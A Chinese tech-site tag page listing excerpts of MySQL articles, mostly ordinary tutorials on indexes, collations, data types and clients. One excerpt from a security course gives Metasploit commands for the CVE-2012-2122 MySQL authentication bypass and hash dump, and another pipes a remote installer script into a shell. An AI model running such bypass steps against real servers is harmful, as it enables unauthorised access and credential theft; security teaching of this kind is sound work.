草庐IT

MySQL 表消失

全部标签

小迪安全 第55天 服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE

一.MYSQL身份认证漏洞(CVE-2012-2122)  受影响的产品:MySQL5.1.xbefore5.1.635.5.xbefore5.5.24,5.6.xbefore5.6.6,MariaDB5.1.xbefore5.1.62,  5.2.xbefore5.2.12 5.3.xbefore5.3.65.5.xbefore5.5.23方法一:msf攻击模块msfdbrun //进入msfuseauxiliary/scanner/mysql/mysql_authbypass_hashdump //选择该模块setrhosts192.168.2.2 //设置目标setthreads10 /

【这一篇就够】MySQL创建JSON数据的索引

耐心阅读,会有收获的〇.从创建索引的要素说起提示:数据版本:MySQL8+首先需要知道,创建json数据字段的索引和普通字段的索引,在本质上没有区别。为什么没什么区别?我们思考一下,创建一个索引的要素有哪些?我们需要提供什么信息?表名,即要知道你要操作哪张表。待创建索引的字段,毕竟索引是根据一个或多个字段来创建的。待创建索引字段的数据类型。待创建的索引名称,需要唯一。普通数据类型的字段,如:int,char,unsigned等,我们很好提供上面的信息,例如:为student表的nameCHAR(32)字段创建一个索引,语句如下:ALTERTABLE`student` ADDINDEXstude

MySQL排序规则之utf8mb4_0900_ai_ci

1.utf8mb4_0900_ai_ci是什么?如何理解?是什么?utf8mb4_0900_ai_ci是mysql8.0之后的数据库的一种排序规则(collation)。如何理解?utf8mb4,这个名字许多人大概熟悉。如今️✈️♥️emoji表情已经大量使用,但MySQL之前的的字符集(characterset)是utf8(更准确的名字是utf8mb3,一个字符最多使用3个字节来存储),只能存储编码值从0x000到0xFFFF之间的字符。然而,emoji表情字符的码值超过了0xFFFF,按照UTF-8规范,存储时需要用4个字节。正因为如此,MySQL才提供了utf8mb4的字符集。如果把数据

【MySQL】MySQL数据类型

数值类型注:mysql不区分大小写当定义数据类型后,插入的数据需要遵循数据类型的约束。创建一个有符号的数据类型:createtablet1(numint);创建一个无符号的数据类型:createtablet2(numintunsigned);在添加数据时,如果超出数据类型所允许的范围,mysql服务会拦截命令语句。bit类型bit[(M)]:位字段类型。M表示每个值的位数,范围从1到64。如果M被忽略,默认为1。createtablett4(idint,abit(8));insertintott4values(10,10);查看表,我们发现,a的数据10没有出现。再次插入,insertinto

mysql按照日期分组统计数据

目录前言按天统计按周统计按月统计按年统计date_format参数前言mysql的date_format函数想必大家都使用过吧,一般用于日期时间转化#例如selectDATE_FORMAT('2023-01-0108:30:50','%Y-%m-%d%H:%i:%s')#可以得出2023-01-0108:30:50#或者是selectDATE_FORMAT('2023-01-0108:30:50','%Y-%m-%d')#可以得出不过很多时间不仅仅仅限于这些最基础的使用,当我们需要对于时间的数据有更高的要求时,就需要对这个函数有更多的了解了,例如按一定的时间段分组统计这段时间的数据,本期我们主

「MySQL-05」MySQL Workbench的下载和使用

目录一、MySQLworkbench的下载和安装1. MySQL workbench介绍2.到MySQL官网下载mysqlworkbench3.安装workbench二、创建能远程登录的用户并授权1.创建用户oj_client2.创建oj数据库3.给用户授权4.在Linux上登录用户oj_client检查其是否能操作oj数据库 三、使用mysqlworkbench操纵数据库1. 使用mysqlworkbench连接数据库oj_client法一、mysqlworkbench直接连接数据库oj_client法二、mysqlworkbench创建永久连接2. 使用mysqlworkbench创建并编

使用C语言连接MySQL

目录一、引入库1.1下载库文件1.2在项目中引入库二、使用库2.1连接数据库2.2SQL请求2.3获取查询结果2.4使用案例一、引入库1.1下载库文件要使用C语言连接MySQL,需使用MySQL官网提供的库MySQL::DownloadConnector/C++https://dev.mysql.com/downloads/connector/cpp/上传到云服务器下载完毕后将其上传到云服务器即可。下面将下载的库文件解压后存放在一个名为makeuse的目录中进入解压后的目录中,可以看到有一个include子目录和一个lib子目录include目录下存放的是一批头文件lib目录下存放的是动静态库

macOS搭建PHP开发环境(brew安装nginx、mysql 和多版本php,并配置多个php同时运行的环境)

macOS搭建php开发环境1.安装brew/bin/zsh-c"$(curl-fsSLhttps://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)"2.安装Nginxbrewinstallnginx3.安装mysqlbrewinstallmysql4.安装php由于homebrew主库中没有PHP7.2之前的版本,并且7.2,7.3版本也被标记成过时版本;所以需要先挂在第三方的扩展,具体操作如下:brewtapshivammathur/phpbrewsearchphpphp5.6brewinstallshivammathur/php/

MySQL 8.2 Command Line Client打开时一闪而过闪退问题

MySQL8.2安装成功后,发现打开MySQL8.0CommandLineClient时出现一闪而过,打不开的情况。解决方案:1、打开MySQL8.2CommandLineClient文件位置2、右键选择属性3、复制它的目标4、我复制下来的目标路径是这样的,"C:\ProgramFiles\MySQL\MySQLServer8.2\bin\mysql.exe""--defaults-file=C:\ProgramFiles\MySQL\MySQLServer8.2\my.ini""-uroot""-p"这里显示my.ini文件是在C:\ProgramFiles\MySQL\MySQLServe

MySQL数据库插入

我有很奇怪的问题。我想运行下面显示的MySQL查询,但它不起作用。与数据库的连接成功,插入查询也可以,因为当我直接在phpmyadmin控制台中运行时,它可以正常运行,但是它在PHP代码中不起作用。你能告诉我我想念什么吗?$servername="localhost";$username="admin";$password="admin123";$dbname="database1";$conn=mysqli_connect($servername,$username,$password,$dbname);if(!$conn){die("Connectionfailed:".mysqli_co